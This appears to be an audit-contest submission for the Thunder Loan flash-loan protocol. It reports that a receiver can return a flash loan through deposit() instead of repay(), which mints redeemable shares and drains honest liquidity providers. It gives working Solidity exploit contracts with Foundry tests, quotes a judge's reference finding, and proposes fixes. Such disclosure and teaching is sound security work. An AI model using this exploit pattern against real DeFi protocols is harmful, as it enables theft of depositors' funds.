Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious flash-loan receiver calls deposit() instead of repay() to steal the borrowed principal as redeemable LP shares

comphygxp

Root + Impact

Description

  • flashloan() decides whether a loan has been repaid purely by comparing token.balanceOf(address(assetToken)) before and after the callback: endingBalance >= startingBalance + fee. It never checks that the funds actually arrived via repay(), and never checks the identity of whoever moved the funds.

  • repay() and deposit() both ultimately do the exact same physical thing: safeTransferFrom(msg.sender, address(assetToken), amount). The only functional difference is that deposit() additionally mints the caller redeemable AssetToken shares.

  • A malicious flash-loan receiver can therefore, inside its executeOperation() callback, call deposit(token, amount + fee) instead of repay(token, amount + fee). The balance check at the end of flashloan() is satisfied (the tokens did arrive), so the function returns normally with no revert - but the attacker now also holds freshly-minted AssetToken shares worth amount + fee. Redeeming those shares immediately afterward converts the "repaid" flash-loan principal into freely withdrawable funds, funded by whatever an honest LP had already deposited in the pool.

  • This is present identically in src/upgradedProtocol/ThunderLoanUpgraded.sol - the same flashloan()/deposit()/repay() logic is unchanged there.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
...
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token), amount, fee, msg.sender, params
)
);
​
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
​
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / assetToken.getExchangeRate();
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
...
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • Reason 1 // No special timing or governance action is needed - any address can call flashloan() with a contract it controls, since flashloan() only checks receiverAddress.isContract().

  • Reason 2 // The attack costs only the flash-loan fee out of pocket (a small fraction of the borrowed amount), so it is economically trivial to execute against any allowed token that has real liquidity in the pool.

Impact:

  • Impact 1 // The attacker walks away with the full borrowed principal as freely withdrawable funds, having only paid the fee.

  • Impact 2 // The pool backing existing LPs' AssetToken shares is directly drained by the stolen principal - honest LPs' deposits become under-collateralized.

Proof of Concept

Ran with forge test --match-path "test/PoC_0.t.sol" -vvv: [PASS] testMaliciousReceiverStealsPrincipalViaDepositInsteadOfRepay(). An honest LP deposits 1000 tokenA. The attacker deploys MaliciousDepositReceiver, funds it with only the flash-loan fee (~1.5 tokenA), and flash-borrows 500 tokenA. The receiver's executeOperation calls deposit() instead of repay(). flashloan() does not revert and isCurrentlyFlashLoaning correctly resets to false, proving the protocol believes the loan was properly repaid. The attacker then redeems the freshly-minted shares: net gain is ~500.5 tokenA (attacker started with only the ~1.5 tokenA fee), and the pool's real tokenA balance drops from 1000 to ~499.5 - the honest LP's deposit has been drained by approximately the borrowed principal. Full regression suite (forge test): 18/18 passing, no regressions.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./unit/BaseTest.t.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
contract MaliciousDepositReceiver {
ThunderLoan private immutable i_thunderLoan;
IERC20 private immutable i_token;
​
constructor(address thunderLoan, IERC20 token) {
i_thunderLoan = ThunderLoan(thunderLoan);
i_token = token;
}
​
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(address(i_thunderLoan), amount + fee);
// THE BUG: call deposit() instead of repay(). Same physical transfer destination,
// so flashloan()'s balance check passes, but this also mints redeemable shares.
i_thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
​
function redeemAll(IERC20 token) external {
AssetToken assetToken = i_thunderLoan.getAssetFromToken(token);
uint256 shareBalance = assetToken.balanceOf(address(this));
i_thunderLoan.redeem(token, shareBalance);
}
}
​
contract PoC_0_DepositInsteadOfRepay is BaseTest {
address liquidityProvider = address(0xA11CE);
address attacker = address(0xBAD);
​
uint256 constant LP_DEPOSIT = 1000e18;
uint256 constant BORROW_AMOUNT = 500e18;
​
MaliciousDepositReceiver malicious;
​
function setUp() public override {
super.setUp();
​
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
​
tokenA.mint(liquidityProvider, LP_DEPOSIT);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), LP_DEPOSIT);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
vm.stopPrank();
​
malicious = new MaliciousDepositReceiver(address(thunderLoan), tokenA);
​
uint256 fee = thunderLoan.getCalculatedFee(tokenA, BORROW_AMOUNT);
tokenA.mint(address(malicious), fee);
}
​
function testMaliciousReceiverStealsPrincipalViaDepositInsteadOfRepay() public {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
​
assertEq(tokenA.balanceOf(address(assetToken)), LP_DEPOSIT);
assertEq(assetToken.balanceOf(address(malicious)), 0);
​
uint256 attackerTokenBalanceBefore = tokenA.balanceOf(address(malicious));
​
vm.prank(attacker);
thunderLoan.flashloan(address(malicious), tokenA, BORROW_AMOUNT, "");
​
assertEq(thunderLoan.isCurrentlyFlashLoaning(tokenA), false);
​
uint256 sharesMinted = assetToken.balanceOf(address(malicious));
assertGt(sharesMinted, 0);
​
vm.prank(attacker);
malicious.redeemAll(tokenA);
​
uint256 attackerTokenBalanceAfter = tokenA.balanceOf(address(malicious));
uint256 attackerNetGain = attackerTokenBalanceAfter - attackerTokenBalanceBefore;
​
assertGe(attackerNetGain, BORROW_AMOUNT);
​
uint256 poolBalanceAfter = tokenA.balanceOf(address(assetToken));
assertLt(poolBalanceAfter, LP_DEPOSIT);
}
}

Recommended Mitigation

+ mapping(IERC20 => uint256) private s_flashLoanRepaidAmount;
​
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan__NotCurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
+ s_flashLoanRepaidAmount[token] += amount;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
​
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
...
- uint256 endingBalance = token.balanceOf(address(assetToken));
- if (endingBalance < startingBalance + fee) {
- revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
- }
+ if (s_flashLoanRepaidAmount[token] < amount + fee) {
+ revert ThunderLoan__NotPaidBack(amount + fee, s_flashLoanRepaidAmount[token]);
+ }
+ delete s_flashLoanRepaidAmount[token];
s_currentlyFlashLoaning[token] = false;
}

Repayment must be tracked as its own explicit state change via repay(), not inferred from a balance snapshot that any other token-transferring function (like deposit()) can also satisfy. Alternatively/additionally, block deposit()/redeem() while s_currentlyFlashLoaning[token] is true. This fix must be applied to both src/protocol/ThunderLoan.sol and src/upgradedProtocol/ThunderLoanUpgraded.sol, since both contain the identical flaw.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!